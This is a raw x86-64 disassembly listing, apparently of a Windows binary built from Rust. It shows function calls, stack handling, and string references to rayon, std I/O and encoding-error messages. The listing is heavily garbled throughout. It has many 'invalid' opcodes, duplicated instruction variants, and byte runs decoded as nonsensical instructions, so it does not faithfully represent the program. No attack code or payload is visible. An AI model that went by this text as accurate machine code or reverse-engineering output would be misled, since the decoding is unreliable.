mov rcx, qword [rbp + 0x30]
mov rdx, qword [rdx + 8]
or byte [rax - 0x73], cl
invalid
invalid
mov qword [rax], rdx
mov qword [rsp + 0x20], rcx
lea r10, fcn.1401510c1
mov rcx, r8
mov ecx, eax
mov ecx, eax
mov rdx, r9
mov r8, rax
mov eax, eax
mov r9, r10
call fcn.1401c7200
ud2
xor byte [rbp - 0x3d], bl
add byte [rax], al
add byte [rax + 0x75d13948], al
add ebx, eax
mov rdx, qword [rax + 8]
jmp fcn.14006095a
lea ebp, [rsp + 0x80]
mov qword [rbp + 0x18], 0xfffffffffffffffe
mov rdi, qword [rdx]
mov edi, dword [rdx]
mov edi, dword [rdx]
mov word [rbp - 0x38], 0x100
movabs r14, 0x8000000000000000
add byte [rax - 0x4f8a76b4], al
mov qword [rbp - 0x50], r14
mov qword [rbp], rdx
mov r12, qword [rdx + 0x18]
mov rax, qword [r8]
lock inc qword [rax]
jle 0x140154337
mov rbx, r8
mov rsi, rcx
lea rcx, [r12 + 0x38]
lea rdx, [rbp - 0x18]
mov qword [rdx + 8], rdi
jp 0x1401540fa
jp 0x1401540fa
lea r8, [rbp - 0x50]
mov qword [rdx + 0x10], r8
mov r8b, 0x4c
mov dword [rdx + 0x10], eax
mov qword [rdx], rax
mov byte [rbp + 0x17], 1
add dword [rcx + rcx*4 + 0x65], ecx
test al, 0xe8
pop rsp
jle case.0x1400089d2.1369
dec dword [rcx - 0x73]
and al, 8
invalid
add dword [rcx + rcx*4 + 0x65], ecx
test al, 0xe8
pop rsp
jle case.0x1400089d2.1369
dec dword [rcx - 0x73]
and al, 8
invalid
mov byte [rbp + 0x17], 1
call fcn.140006a06
mov r15, qword [rbp]
mov dl, byte [r15 + 0x20]
mov rcx, r12
call fcn.14009d48b
mov rax, qword [r15 + 8]
mov eax, dword [rdi + 8]
mov rdx, qword [rax]
mov r8d, dword [rax + 8]
mov byte [rbp + 0x17], 0
mov rcx, rbx
call fcn.14000bfe0
lea rcx, [0x14028c890]
jle 0x140154129
dec dword [rax - 0x73]
or eax, 0x13874a
movsxd rax, dword [rcx + rax*4]
add rax, rcx
add eax, ecx
jmp rax
mov rax, qword [rbp]
mov rdx, qword [rax + 0x10]
lea rbx, [rbp - 0x18]
mov rcx, rbx
call fcn.14000696a
cmp qword [rbx], 0
jne 0x1401542e7
jp 0x14015416c
add byte [rax], al
lea rcx, [rbp - 0x18]
mov rdx, qword [rcx + 8]
mov al, byte [rcx + 0x10]
mov byte [rbp + 0x16], al
mov qword [rbp + 8], rdx
add rdx, 0x38
mov r8, rdi
call fcn.14000c0a7
cmp qword [rbp - 0x18], 0
je 0x14015432b
add byte [rax], al
mov rax, qword [rbp - 8]
lea rcx, [rbp - 0x30]
mov qword [rcx + 0x10], rax
movups xmm0, xmmword [rbp - 0x18]
movaps xmmword [rcx], xmm0
call fcn.140006924
mov rcx, qword [rbp + 8]
or byte [rdx - 0x2e17e9ab], cl
xchg edx, eax
hlt
inc esi
or byte [rax], r8b
jmp 0x14015425d
add byte [rax], al
invalid
mov rax, qword [rbp]
mov rdx, qword [rax + 0x10]
lea rbx, [rbp - 0x18]
mov rcx, rbx
call fcn.14000696a
cmp qword [rbx], 0
jne 0x14015429f
lea rcx, [rbp - 0x18]
mov rdx, qword [rcx + 8]
mov al, byte [rcx + 0x10]
mov byte [rbp + 0x16], al
mov qword [rbp + 8], rdx
add rdx, 0x38
mov r8, rdi
call fcn.14000c0a7
cmp qword [rbp - 0x18], 0
je 0x14015431d
invalid
mov rax, qword [rbp - 8]
lea rcx, [rbp - 0x30]
mov qword [rcx + 0x10], rax
movups xmm0, xmmword [rbp - 0x18]
movaps xmmword [rcx], xmm0
call fcn.140006924
mov rcx, qword [rbp + 8]
mov dl, byte [rbp + 0x16]
call fcn.14009d48b
inc esi
or byte [rcx], r8b
jmp 0x14015425d
lea rdi, [rbp - 0x50]
mov rcx, rdi
call fcn.14014c822
mov rax, qword [rdi]
mov qword [rdi], r14
invalid
cmp rax, r14
je 0x1401542d5
lea rcx, [rbp - 0x48]
movups xmm0, xmmword [rcx]
movups xmmword [rsi + 8], xmm0
mov r14, rax
mov qword [rsi], r14
mov rcx, qword [rbp - 0x50]
mov rdx, qword [rbp - 0x48]
call fcn.14014b0fc
nop
add rsp, 0xa0
pop rbx
pop rdi
pop rsi
pop r12
pop rsp
pop r14
pop r15
pop rbp
ret
mov byte [rbp + 0x17], 0
lea rcx, str.internal_error:_entered_unreachable_codeC:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rayon_core_1.12.1_srcjob.rs
lea r8, str._rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrary_std_src_syncmpmczero.rs
lea eax, [0x14024c298]
push 0x28
pop rdx
call fcn.1401c6f30
jmp 0x140154337
mov rax, qword [rbp - 0x10]
mov cl, byte [rbp - 8]
lea r8, [rbp - 0x30]
ror byte [rcx - 0x77], 1
add byte [rcx - 0x78], al
or byte [rax - 0x73], cl
lea eax, [0x14024c2e0]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x14024cae0]
push 0x2b
pop rdx
call fcn.1401c7200
jmp 0x140154337
mov byte [rbp + 0x17], 0
lea rcx, str._rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrary_std_src_syncmpmczero.rs
call fcn.1401c7290
jmp 0x140154337
mov rax, qword [rbp - 0x10]
mov cl, byte [rbp - 8]
lea r8, [rbp - 0x30]
mov qword [r8], rax
mov byte [r8 + 8], cl
lea rax, str._rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrary_std_src_syncmpmczero.rs
jg case.0x14000bc89.1337
add byte [rax - 0x77], cl
and al, 0x20
lea rcx, str.called__Result::unwrap____on_an__Err__value
push rbx
adc eax, dword [rax]
lea r9, [0x14024cae0]
lea ecx, [0x14024cae0]
or eax, 0xf87cd
push 0x2b
pop rdx
call fcn.1401c7200
jmp 0x140154337
lea rcx, str._rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrary_std_src_syncmpmczero.rs
call fcn.1401c7290
add bl, ch
invalid
lea rcx, str._rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrary_std_src_syncmpmczero.rs
call fcn.1401c7290
ud2
mov dil, byte [rbp - 0xb]
mov sil, byte [rbp - 0xa]
mov bl, byte [rbp - 9]
test sil, sil
jne 0x140154c1e
test dil, 1
jne 0x140154c29
test sil, sil
je 0x140154c11
div byte [rbp + rcx + 0x48]
mov eax, dword [rbp - 0x18]
mov rax, qword [rbp - 0x18]
lea rcx, [rax + 0x18]
call fcn.140137847
test bl, bl
jne 0x140154c38
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop rbp
ret
mov rcx, qword [rbp - 0x18]
call fcn.14006045e
jmp 0x140154bf9
mov rax, qword [rbp - 0x18]
lea rcx, [rax + 0x10]
call 0x1505dd979
call fcn.140154720
jmp 0x140154bff
mov rcx, qword [rbp - 0x18]
add rcx, 8
add ecx, 8
add ecx, 8
call fcn.140151046
jmp 0x140154c15
clc
invalid
rol byte [rbx + 0x570f0020], 0xc0
movups xmmword [rax + 8], xmm0
mov dword [rax + 0x18], 7
add byte [rax], al
add byte [rax - 0x7d], cl
invalid
sbb al, 0
and word [rax + 0x24], 0
and dword [rax + 0x24], 0
add byte [rax], al
add byte [rax - 0x7d], cl
invalid
and dword [rax + 0x24], 0
add byte [rdx + 0x21508801], dh
mov dl, 1
mov byte [rax + 0x21], dl
mov byte [rax + 0x24], dl
mov byte [rax + 0x23], dl
mov rdx, qword [rcx + 8]
mov qword [rbp - 0x10], rcx
mov r8, qword [rcx + 0x10]
mov rcx, rax
mov qword [rbp - 0x18], rdx
mov dword [rbp - 0x18], edx
call 0x144219084
add byte [rax - 0x77], cl
invalid
call fcn.1401958e0
mov rsi, rax
mov rdi, rdx
mov rax, qword [rbp - 0x10]
mov rcx, qword [rax]
mov rdx, qword [rbp - 0x18]
push rbp
call 0x130d1f49a
dec dword [rax - 0x77]
invalid
mov rdx, rdi
add rsp, 0x60
invalid
invalid
push rbp
call 0x130d1f49a
dec dword [rax - 0x77]
invalid
invalid
pop rdi
pop rsi
pop rbp
ret
mov qword [rsp + 0x10], rdx
push rbp
push rsi
push rdi
sub rsp, 0x20
lea rbp, [rdx + 0x60]
mov rax, qword [rbp - 0x10]
invalid
invalid
mov rcx, qword [rax]
mov ecx, dword [rax]
invalid
mov ecx, dword [rax]
mov rdx, qword [rbp - 0x18]
call fcn.14006095a
nop
add rsp, 0x20
pop rdi
pop rsi
pop rbp
ret
push rsi
push rsi
push rdi
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp], 0xfffffffffffffffe
add r14b, r15b
invalid
invalid
dec dword [rcx + rcx*4 - 0x39]
mov rbx, rdx
lea r15, [rbp - 8]
lea edi, [rbp - 8]
add r14b, r15b
invalid
lea edi, [rbp - 8]
mov rsi, qword [rcx]
mov esi, dword [rcx]
test rdi, rdi
test edi, edi
je 0x140154d6f
mov rcx, rsi
mov rdx, rbx
mov r8, rdi
call fcn.140199870
mov r14, rdx
invalid
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
test rax, rax
je 0x140154d41
invalid
invalid
invalid
mov rcx, r14
call fcn.14000fca9
outsb dx, byte [rsi]
scasd eax, dword [rdi]
jmp 0x140154d3a
test al, al
jne 0x140154d65
invalid
outsb dx, byte [rsi]
scasd eax, dword [rdi]
jmp 0x140154d3a
inc dword [rax + rax*8 + 0x3aeb2675]
jmp case.0x140148f55.546
jmp case.0x140148f55.546
cmp cl, byte [rbp - 0x7b]
div byte [rsi + rbp + 0x4c]
mov ecx, esi
test r14, r14
je 0x140154d74
mov rcx, r14
mov rdx, rbx
mov r8, rdi
mov eax, edi
mov eax, edi
call fcn.14013936a
mov rbx, rax
ret
mov rdi, rdx
ret
cmp qword [rbp - 0x10], 0
cmp dword [rbp - 0x10], 0
lea r15, [rbp - 8]
jge 0x140154d5b
je 0x140154d10
mov rcx, r15
stc
call fcn.140137625
jmp 0x140154d10
xor r14d, r14d
jmp case.0x140148f55.546
lea r14, [0x140264930]
add byte [rcx + rcx*4 - 0x10], cl
mov rax, r14
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r14
pop r15
pop rbp
ret
adc byte [rbp + 0x41], dl
push rdi
push r14
push rsi
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x30]
lea ebp, [rdx + 0x30]
lea ebp, [rdx + 0x30]
cmp qword [rbp - 0x10], 0
jne 0x140154db4
jge 0x140154d94
add byte [rbp + 0xd], dh
add rsp, 0x28
pop rbx
pop rdi
sub byte [rbx + 0x5f], bl
pop rsi
pop r14
pop r15
pop rbp
ret
lea rcx, [rbp - 8]
call fcn.140137625
jmp 0x140154da7
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x30
mov rbx, r8
mov r14, rdx
mov rsi, rcx
lea rdi, [rsp + 0x28]
and al, 0x28
lea r13, str.failed_to_write_whole_buffer
lea r15, str._rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrary_std_srciomod.rsfailed_to_fill_whole_buffer
cmp eax, 0x1083f9
cmp eax, 0x1083f9
test rbx, rbx
test ebx, ebx
je 0x140154e48
mov rcx, rsi
mov rdx, r14
mov r8, rbx
call case.0x140195e42.143
mov r12, rdx
mov qword [rsp + 0x20], rax
and al, 0x20
and al, 0x20
and al, 0x20
mov qword [rsp + 0x28], rdx
test rax, rax
je 0x140154e2a
mov rcx, r12
call fcn.14000fca9
jmp 0x140154e1b
test al, al
je 0x140154e50
jmp 0x140154e1b
inc dword [rax + rax*8 - 0x76b7cf8c]
stc
mov rcx, rdi
call fcn.140137625
jmp 0x140154def
invalid
invalid
test r12, r12
je 0x140154e4d
mov rcx, r12
mov rdx, r14
mov r8, rbx
mov r9, r15
mov ecx, edi
mov ecx, edi
call fcn.14001ca54
mov r14, rax
mov rbx, rdx
jmp 0x140154def
xor r12d, r12d
jmp 0x140154e50
mov r12, r13
in al, dx
mov rax, r12
mov eax, esp
add rsp, 0x30
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rcx, [rsi + 0x10]
call fcn.140154720
add rsi, 8
mov rcx, rsi
add rsp, 0x20
add esp, 0x20
add esp, 0x20
pop rsi
jmp fcn.140151046
invalid
invalid
mov dword [rbp - 8], 0xfffffffe
clc
invalid
invalid
mov qword [rbp - 0x18], rcx
mov rcx, qword [rcx]
call fcn.1400138ee
test rax, rax
je 0x140154ec3
invalid
mov cl, 1
mov byte [rbp - 9], cl
mov byte [rbp - 0xa], cl
mov byte [rbp - 0xb], cl
cmc
mov rcx, rax
call fcn.1401a3d30
mov rax, qword [rbp - 0x18]
mov eax, dword [rbp - 0x18]
mov rcx, qword [rax + 0x10]
mov al, 1
mov byte [rbp - 9], al
mov byte [rbp - 0xa], al
mov byte [rbp - 0xb], 0
cmc
add al, ch
invalid
xor al, byte [rax + rax]
lea rcx, [rbp - 0x38]
mov qword [rcx], rax
call fcn.140154720
clc
invalid
invalid
clc
invalid
mov rax, qword [rbp - 0x18]
mov rcx, qword [rax]
mov rsi, qword [rax + 0x18]
mov rdi, qword [rax + 0x20]
mov byte [rbp - 9], 1
xor eax, eax
mov byte [rbp - 0xa], al
mov byte [rbp - 0xb], al
call fcn.14018b120
mov byte [rbp - 9], 1
xor eax, eax
ror byte [rax + 0x4588f645], 0xf5
ror byte [rax + 0x4588f645], 0xf5
mov rcx, rsi
mov ecx, esi
mov rdx, rdi
call fcn.14014cc87
xor eax, eax
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x18]
mov rax, qword [rax + 8]
mov qword [rbp - 0x30], rax
lea rcx, [rax + 0x18]
lea ecx, [rax + 0x18]
call fcn.1401549e6
lodsb al, byte [rsi]
cli
invalid
dec dword [rax - 0x75]
push rbp
invalid
mov qword [rdx + 0x18], 1
mov rax, qword [rbp - 0x20]
mov qword [rdx + 0x20], rax
mov rax, qword [rbp - 0x28]
mov qword [rdx + 0x28], rax
invalid
sub byte [rax - 0x73], cl
enter 0xffffffffffff8948, 0x11
invalid
lea rcx, [rbp - 0x38]
mov qword [rcx], rdx
invalid
adc dword [rcx], esi
ror byte [rax + 0x4588f745], 0xf6
xor eax, eax
mov byte [rbp - 9], al
mov byte [rbp - 0xa], al
mov byte [rbp - 0xb], al
call fcn.140151046
nop
add rsp, 0x68
add esp, 0x68
pop rbx
pop rdi
pop rsi
pop rbp
ret
sub rsp, 0x28
lea rbp, [rdx + 0x60]
mov rcx, qword [rbp]
call fcn.1401cac40
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x28], rdx
fmul dword [rax - 0x73]
add eax, 0xffffffd5
fmul dword [rax - 0x73]
add eax, 0xffffffd5
add rsp, 0x28
pop rbx
pop rdi
sub byte [rbx + 0x5f], bl
pop rsi
pop rbp
ret
add ah, cl
mov qword [rsp + 0x10], rdx
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x60]
push 0x60
int3
push 0x60
mov sil, byte [rbp - 0xb]
mov bl, byte [rbp - 9]
cmp byte [rbp - 0xa], 0
add byte [rbp + 0x14], dh
add byte [rbp + 0x14], dh
test sil, 1
jne 0x140154fff
test bl, 1
jne 0x14015500e
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop rbp
ret
mov rcx, qword [rbp - 0x18]
mov ecx, dword [rbp - 0x18]
call fcn.14006045e
jmp 0x140154fe0
mov rax, qword [rbp - 0x18]
lea rcx, [rax + 0x10]
lea ecx, [rax + 0x10]
call fcn.140154720
jmp 0x140154fe6
invalid
mov rcx, qword [rbp - 0x18]
call 0x148d6d35e
add rcx, 8
call fcn.140151046
jmp 0x140154feb
adc byte [rbp + 0x56], dl
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x60]
invalid
mov rcx, qword [rbp - 0x30]
ror byte [r8 - 0x39], 1
sbb byte [r9], al
add byte [rax], al
add byte [rax - 0x75], cl
loopne 0x140155087
mov dword [rcx + 0x20], eax
ror byte [r8 - 0x39], 1
sbb byte [r9], al
add byte [rax], al
add byte [rax - 0x75], cl
loopne 0x140155087
mov dword [rcx + 0x20], eax
mov rax, qword [rbp - 0x28]
mov qword [rcx + 0x28], rax
mov byte [rbp - 9], 1
xor eax, eax
mov byte [rbp - 0xa], al
mov byte [rbp - 0xb], al
cmc
cmc
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop rbp
ret
cmp byte [rax - 0x77], cl
ror byte [rax - 0x75], 1
or dword [rbp + rcx*4 + 0x4c], ecx
and al, 0x30
mov qword [r9], rcx
lea rcx, fcn.140009390
mov dword [rdi], ecx
add byte [rax - 0x77], cl
mov dword [rsp + 0x20], ecx
and byte [rax - 0x73], cl
adc eax, 0xf8974
je 0x14015500b
invalid
invalid
and byte [rax - 0x73], cl
adc eax, 0xf8974
je 0x14015500b
invalid
invalid
je 0x14015500b
sldt word [rcx - 0x48]
invalid
mov r8d, 0xe
mov rcx, rax
call fcn.14002b6a0
nop
add rsp, 0x38
add byte [rax], al
add byte [rax - 0x77], cl
shr eax, 0xe
in ax, dx
call qword [rax + 0x38c48348]
ret
jmp 0x1401550a7
dec dword [rax - 0x7d]
in al, dx
sub byte [rax - 0x75], cl
add edi, edi
push rax
or byte [rax - 0x77], cl
ror dword [rax - 0x7d], 0xc4
sub byte [rax - 1], cl
invalid
mov ecx, eax
add rsp, 0x28
jmp qword [rdx + 0x30]
xor ebp, ebx
mov bl, byte [rcx]
or ebp, eax
invalid
call 0x175e70b18
mov esi, ds
invalid
movabs rdx, 0xa3d17ccede8c35d1
ret
mov bpl, 0x4d
mov ch, 0x4d
movabs rdx, 0xc6da3ac50f26d2b0
ret
mov edx, 0x3442791b
push rdx
jo 0x140155121
leave
ret
movabs rax, 0x1e5a406bec7c3320
movabs rdx, 0xdb59a1d06efe8928
invalid
pop rcx
fcmovnb st(0), st(3)
movabs eax, dword [0x8876e4b848c3db59]
xor al, 0x44
jns 0x140155163
jns 0x140155163
movabs dword [0x18f939eaf8e7ba48], eax
mov cl, 0xd3
mov edx, 0x39eaf8e7
stc
sbb byte [rcx - 0x47b73c2d], dh
ret
invalid
mov eax, 0x9a01ccc8
invalid
ret
mov esp, 0xcb0c927b
movabs byte [0x78a97b848c346eb], al
movabs rax, 0x2fb23ad1ef078a97
movabs rdx, 0x3d93f75ff9b8111b
stc
pop rdi
invalid
xchg ebx, eax
invalid
ret
mov eax, 0x93f75ff9
cmp eax, 0x23b848c3
je 0x14015518f
stc
pop rdi
not dword [rbx - 0x47b73cc3]
and esi, dword [rax + riz - 0x17]
jmp 0x16db38953
fbstp tbyte [rdi]
sahf
sub eax, 0x5227ba48
invalid
push rdx
invalid
mov al, 0x23
jb case.0x140148ed1.557
invalid
movabs byte [0x5a6cdcd309ba4858], al
pop rax
movabs rdx, 0x96f27a5a6cdcd309
pop rdx
jp 0x140155184
xchg esi, eax
ret
int1
cmp dword [rdi - 0x4118ae95], ebx
push rcx
out 0xbe, eax
invalid
push rcx
out 0xbe, eax
invalid
invalid
and edx, dword [rcx + 0x32]
movabs rdx, 0x99385e19089ce4f3
movabs rdx, 0x99385e19089ce4f3
movabs rdx, 0x99385e19089ce4f3
sbb dword [rsi + 0x38], ebx
cdq
ret
in al, dx
sub byte [rax - 0x77], cl
mov rax, rdx
lea rdx, [rsp + 0x20]
mov qword [rdx], rcx
mov r8d, 8
mov eax, 8
mov rax, rdx
lea rdx, [rsp + 0x20]
mov eax, 8
or byte [rax], al
add byte [rax], al
mov rcx, rax
call fcn.140013f9e
scasb al, byte [rdi]
in eax, dx
jmp 0x1401551ef
nop
add rsp, 0x28
shr eax, 0xae
in eax, dx
jmp 0x1401551ef
call qword [rax + 0x28c48348]
ret
push rax
mov rsi, rcx
mov rax, qword [rcx]
mov rcx, rax
inc rcx
je 0x140155290
invalid
add byte [rax], al
add byte [rax], al
add dword [rax], 0x8d480000
adc al, 0
add byte [rax], al
lea rdx, [rax + rax]
cmp rdx, rcx
cmova rcx, rdx
movabs r8, 0x24924924924924a
xchg edx, eax
and al, 0x49
xchg edx, eax
and al, 0x49
add dh, byte [rcx]
ror byte [rcx + rdi - 0x3f], cl
add dh, byte [rcx]
ror byte [rcx + rdi - 0x3f], cl
setb dl
cmp rcx, 5
stc
add eax, 0x4bb
add byte [rax + 0xf], cl
cmovae ebx, ecx
stc
add eax, 0x4bb
add byte [rax + 0xf], cl
invalid
invalid
cmovae ebx, ecx
imul r8, rbx, 0x38
shl edx, 3
test rax, rax
je 0x14015525e
imul rax, rax, 0x38
mov rcx, qword [rsi + 8]
mov qword [rsp + 0x38], rcx
and al, 0x38
and al, 0x38
mov qword [rsp + 0x48], rax
mov eax, 8
jmp 0x140155260
xor eax, eax
lea r9, [rsp + 0x38]
mov qword [r9 + 8], rax
lea rdi, [rsp + 0x20]
mov rcx, rdi
stc
cmp byte [rcx - 0x77], cl
or byte [r8 - 0x73], cl
jl 0x140155291
and byte [rax - 0x77], cl
stc
call fcn.140059531
cmp qword [rdi], 0
add byte [rbp + 0x1b], dh
add byte [rbp + 0x1b], dh
mov rax, qword [rsp + 0x28]
mov qword [rsi + 8], rax
mov qword [rsi], rbx
add rsp, 0x50
push rax
push rax
pop rbx
pop rdi
pop rsi
ret
xor ecx, ecx
leave
call fcn.1401c66e0
adc al, 7
add byte [rax - 0x75], cl
and al, 0x28
and al, 0x28
mov rcx, qword [rsp + 0x28]
and al, 0x28
mov rdx, qword [rsp + 0x30]
call fcn.1401c66e0
invalid
add ah, cl
int3
add byte [rax], al
add byte [rax + 0x244c8d48], al
lea ecx, [rsp + 0x28]
mov qword [rcx], rax
invalid
adc dword [rax], esi
invalid
lea ecx, [rsp + 0x28]
add esp, 0x40
invalid
iretd
ret 0xffff
test rsi, rsi
je 0x1401552fd
mov qword [rdi + 8], rax
inc rax
ror byte [rax - 1], 0xce
ror byte [rax - 1], 0xce
dec esi
jmp 0x1401552ec
add rsp, 0x28
pop rdi
pop rsi
ret
in al, dx
cmp byte [rax - 0x77], cl
invalid
mov edi, ecx
movabs rax, 0x8000000000000007
invalid
lea rcx, [rsp + 0x20]
lea ecx, [rsp + 0x20]
mov qword [rcx], rax
call fcn.1401482d7
mov rcx, qword [rdi]
mov rdx, rsi
call fcn.14015536c
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x77], cl
mov rax, rdi
mov rax, rdi
add rsp, 0x38
pop rdi
pop rsi
ret
invalid
retf
mov edx, eax
call fcn.14015536c
mov rcx, qword [rbx]
mov rdx, rdi
mov r8, rsi
add rsp, 0x20
pop rbx
pop rdi
pop rsi
jmp fcn.140070ee6
adc byte [rcx - 0x48], al
or byte [rax], al
add byte [rax], al
mov rdx, rax
call fcn.140070ee6
nop
add rsp, 0x28
ret
sub esp, 0x28
sub byte [rcx + rcx*4 - 0x3a], cl
mov rsi, r8
mov rdi, rdx
mov rbx, rcx
mov ebx, ecx
mov rdx, r8
call fcn.140155304
pop rsi
invalid
invalid
inc dword [rbp + 0x31]
invalid
pop rsi
invalid
cmp rsi, r14
je 0x1401553bf
mov dl, byte [rdi + r14]
mov rcx, qword [rbx]
call fcn.14009036d
scasd eax, dword [rdi]
dec dword [rcx - 1]
invalid
jmp 0x1401553a9
scasd eax, dword [rdi]
dec dword [rcx - 1]
invalid
add rsp, 0x28
add esp, 0x28
sub byte [rbx + 0x5f], bl
pop rbx
pop rdi
pop rsi
pop r14
ret
add al, 0xbb
int1
call qword [rax + 0x28c48348]
ret
mov eax, 0
add byte [rax], al
add byte [rax], al
or byte [rcx + rdi + 1], 0x48
add byte [rax], al
add byte [rax], al
or byte [rcx + rdi + 1], 0x48
cmove eax, edx
ret 0x8d48
lea rdx, fcn.140137625
ret
or byte [rax], al
add byte [rax], al
cmovb r8, rcx
lea rcx, [0x14028c8a0]
lea ecx, [0x14028c8a0]
lea ecx, [0x14028c8a0]
je 0x14015544d
add byte [rsi + 0x63], cl
add al, 0x81
movsxd r8, dword [rcx + r8*4]
add r8, rcx
jmp r8
add rax, 8
add eax, 8
ror byte [rax], 0x4c
lea ecx, [rsp + 0x30]
and al, 0x30
lea r9, [rsp + 0x30]
xor byte [rcx - 0x77], cl
add dword [rax - 0x73], ecx
lea rax, fcn.140009390
mov qword [r9], rax
lea rax, fcn.140009390
mov qword [rsp + 0x20], rax
lea rax, [0x14025d8ef]
add eax, 0x10848b
add eax, 0x10848b
mov r8d, 2
jmp 0x140155573
add byte [rax], al
add rax, 8
lea r9, [rsp + 0x30]
and al, 0x30
and al, 0x30
mov qword [r9], rax
lea rax, fcn.140009390
str word [rax - 0x77]
and al, 0x20
str word [rax - 0x77]
and al, 0x20
mov dword [rsp + 0x20], eax
lea rax, [0x14024d86b]
add eax, 0xf83dd
mov r8d, 0x12
adc al, byte [rax]
add byte [rax], al
jmp 0x140155573
add rax, 8
lea r9, [rsp + 0x30]
and al, 0x30
mov qword [r9], rax
lea rax, fcn.140009390
invalid
invalid
str word [rax - 0x77]
and al, 0x20
mov qword [rsp + 0x20], rax
lea rax, str.InvalidBoolEncoding
jmp 0x14015550f
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
invalid
and byte [rax - 0x75], cl
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
sbb byte [rax - 0x73], cl
sbb byte [rax - 0x73], cl
lea rdx, str.InvalidCharEncodingInvalidTagEncoding
adc eax, 0xf838b
add byte [rcx - 0x48], al
adc eax, dword [rax]
add byte [rax], al
mov r8d, 0x13
jmp 0x14015554b
sbb byte [rax - 0x73], cl
adc eax, 0xf83db
or dword [rdi], 0
or dword [rdi], 0
mov r8d, 0x16
jmp 0x14015554b
add rax, 8
lea r9, [rsp + 0x30]
lea ecx, [rsp + 0x30]
lea ecx, [rsp + 0x30]
xor byte [rcx - 0x77], cl
add dword [rax - 0x73], ecx
add eax, 0xf82fd
invalid
invalid
mov qword [r9], rax
lea rax, fcn.140009390
invalid
invalid
mov qword [rsp + 0x20], rax
and al, 0x20
and byte [rax - 0x73], cl
add eax, 0xf82d9
invalid
lea rax, str.InvalidUtf8Encoding
add byte [rcx - 0x48], al
adc eax, dword [rax]
add byte [rax], al
mov r8d, 0x13
jmp 0x140155573
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
sbb byte [rax - 0x73], cl
adc eax, 0xf8376
sbb byte [rax - 0x73], cl
adc eax, 0xf8376
mov r8d, 0x1a
sbb al, byte [rax]
add byte [rax], al
jmp 0x14015554b
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
sbb byte [rax - 0x73], cl
sbb byte [rax - 0x73], cl
adc eax, 0xf8375
jne 0x1401554c6
or dword [rdi], 0
sldt word [rcx - 0x48]
or dword [rax], eax
add byte [rax], al
invalid
mov r8d, 9
add rsp, 0x38
jmp rax
invalid
invalid
loopne 0x14015559f
lea r9, [rsp + 0x30]
lea ecx, [rsp + 0x30]
mov qword [r9], rax
lea rax, fcn.140009390
invalid
jg 0x14015556f
add byte [rax - 0x77], cl
and al, 0x20
lea rax, str.Customerror
mov r8d, 6
mov eax, 6
mov rcx, rdx
mov rdx, rax
ret 0x22e8
invalid
in eax, dx
call qword [rax + 0x38c48348]
ret 0x22e8
and ah, byte [rcx - 0x13]
call qword [rax + 0x38c48348]
ret
mov byte [rax], al
add byte [rax], al
mov rcx, qword [rcx]
movabs rax, 0x8000000000000000
add byte [rax], al
add byte [rax], al
add byte [rax + 0x48013348], al
cmp eax, 8
add byte [rax], al
add byte [rax - 0x75], cl
or dword [rax - 0x48], ecx
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax + 0x48013348], al
cmp eax, 8
clc
or byte [rcx - 0x48], al
or byte [rax], al
add byte [rax], al
mov r8d, 8
cmovb r8, rax
mov rsi, rdx
invalid
lea rax, [0x14028c8c4]
movsxd rdx, dword [rax + r8*4]
invalid
add rdx, rax
jmp rdx
call 0x14001f3dd
lea rcx, [rsp + 0x38]
invalid
cmp byte [rax - 0x77], cl
add dword [rax - 0x77], ecx
push rcx
or byte [rax - 0x73], cl
mov qword [rcx], rax
mov dword [rcx], eax
mov qword [rcx + 8], rdx
lea rax, [rsp + 0x20]
and al, 0x20
and al, 0x20
mov qword [rax], rcx
lea rcx, [fcn.1401c5992]
or eax, 0x703b4
mov qword [rax + 8], rcx
or byte [rax - 0x73], cl
or eax, 0x134657
or byte [rax - 0x73], cl
or eax, 0x134657
lea r8, [rsp + 0x58]
mov qword [r8], rcx
mov ecx, 1
jmp 0x140155754
invalid
add byte [rdx - 0x72b7f7bf], cl
jl 0x140155626
mov al, byte [rcx + 8]
lea rdi, [rsp + 0x30]
mov byte [rdi], al
xor byte [rax - 0x622c17f9], cl
in al, dx
dec dword [rax - 0x73]
lea rcx, [rsp + 0x20]
call 0x14001f3dd
lea rcx, [rsp + 0x20]
mov qword [rcx], rax
mov dword [rcx], eax
mov qword [rcx + 8], rdx
lea rax, [rsp + 0x38]
and al, 0x38
and al, 0x38
and al, 0x38
mov qword [rax], rcx
lea rcx, [fcn.1401c5992]
or byte [rax - 0x73], cl
or eax, 0x7036d
mov qword [rax + 8], rcx
mov dword [rax + 8], ecx
or byte [rax - 0x77], cl
js 0x14015563d
mov qword [rax + 0x10], rdi
lea rcx, [0x14002a020]
mov qword [rax + 0x18], rcx
lea rcx, [0x1401d0e00]
mov bh, 7
add cl, ch
add eax, dword [rcx]
add byte [rax], al
mov bh, 7
invalid
